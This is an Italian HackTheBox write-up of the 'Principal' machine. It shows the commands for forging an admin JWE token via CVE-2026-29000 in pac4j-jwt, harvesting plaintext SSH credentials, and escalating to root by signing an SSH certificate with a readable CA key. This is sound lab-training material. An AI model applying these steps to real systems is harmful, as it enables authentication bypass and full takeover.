HackTheBox — Principal

Difficoltà: Media Sistema operativo: Linux Piattaforma: HackTheBox

Panoramica

Applicazione web che esegue pac4j-jwt v6.0.3 — vulnerabile a CVE-2026-29000. La chiave pubblica RSA è esposta senza autenticazione tramite un endpoint JWKS e può essere utilizzata per forgiare un token JWE admin valido, bypassando completamente l'autenticazione. Con accesso admin, le credenziali SSH in chiaro vengono recuperate dall'API delle impostazioni. L'account di servizio è membro del gruppo deployers con accesso in lettura a una chiave privata SSH CA attendibile da sshd — firmare un certificato che concede accesso root completa la macchina.

1. Enumerazione

Ho navigato nell'applicazione web e visualizzato il sorgente della pagina. Ho trovato il bundle JavaScript principale in /static/js/app.js.

Endpoint API chiave identificati all'interno di app.js:

/api/auth/login
/api/auth/jwks      <- endpoint chiave pubblica (senza autenticazione)
/api/dashboard
/api/users
/api/settings

Il footer della pagina ha rivelato: pac4j-jwt v6.0.3 — vulnerabile a CVE-2026-29000.

2. Bypass dell'autenticazione JWT — CVE-2026-29000

Ho recuperato la chiave pubblica RSA dall'endpoint JWKS senza autenticazione:

curl http://<TARGET_IP>:8080/api/auth/jwks
# Restituisce la chiave pubblica RSA (kid: enc-key-1)

CVE-2026-29000 consente di utilizzare la chiave pubblica per forgiare un token JWE valido — la libreria accetta erroneamente token crittografati con la chiave pubblica invece di richiedere la chiave privata.

Ho utilizzato il PoC per generare un token admin forgiato:

python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. Accesso API Admin

Ho utilizzato il token forgiato come token Bearer in Burp Repeater:

Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

• Ruolo confermato: ROLE_ADMIN
• Il registro attività mostrava azioni CERT_ISSUED per l'utente: svc-deploy

GET /api/settings → 200 OK

• Credenziali SSH trovate in chiaro nella configurazione di sicurezza
• Autenticazione certificato SSH abilitata
• Percorso SSH CA: /opt/principal/ssh/

4. Accesso Iniziale

Accesso SSH effettuato utilizzando le credenziali recuperate da /api/settings:

ssh svc-deploy@<TARGET_IP>

Flag utente recuperata.

5. Privilege Escalation — Firma SSH CA

svc-deploy è nel gruppo deployers con accesso in lettura a /opt/principal/ssh/:

ls -la /opt/principal/ssh/
# ca        — chiave privata CA RSA a 4096 bit (leggibile da deployers)
# ca.pub    — chiave pubblica CA
# README.txt — conferma che la CA è attendibile da sshd

La chiave privata CA è leggibile. Poiché sshd si fida di questa CA, qualsiasi certificato firmato da essa viene accettato — incluso uno che concede accesso root.

# Genera una nuova coppia di chiavi
ssh-keygen -t ed25519 -f /tmp/privesc

# Firma con la CA, concedendo principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# SSH come root
ssh -i /tmp/privesc root@<TARGET_IP>

Flag root recuperata.

Flag

• User: /home/svc-deploy/user.txt
• Root: /root/root.txt

Punti Chiave

• Controlla sempre le versioni delle librerie JWT durante la ricognizione delle applicazioni web — pac4j-jwt è comune nelle applicazioni Java.
• CVE-2026-29000: confusione di chiave JWE in pac4j — chiave pubblica accettata dove è richiesta la chiave privata.
• Gli endpoint delle impostazioni API spesso perdono credenziali in chiaro — enumera sempre tutte le rotte autenticate una volta che hai un token valido.
• Se un account di servizio può leggere una chiave privata SSH CA attendibile da sshd, puoi firmare un certificato come qualsiasi principal incluso root. Controlla le appartenenze ai gruppi e i permessi delle chiavi CA durante la post-esplorazione.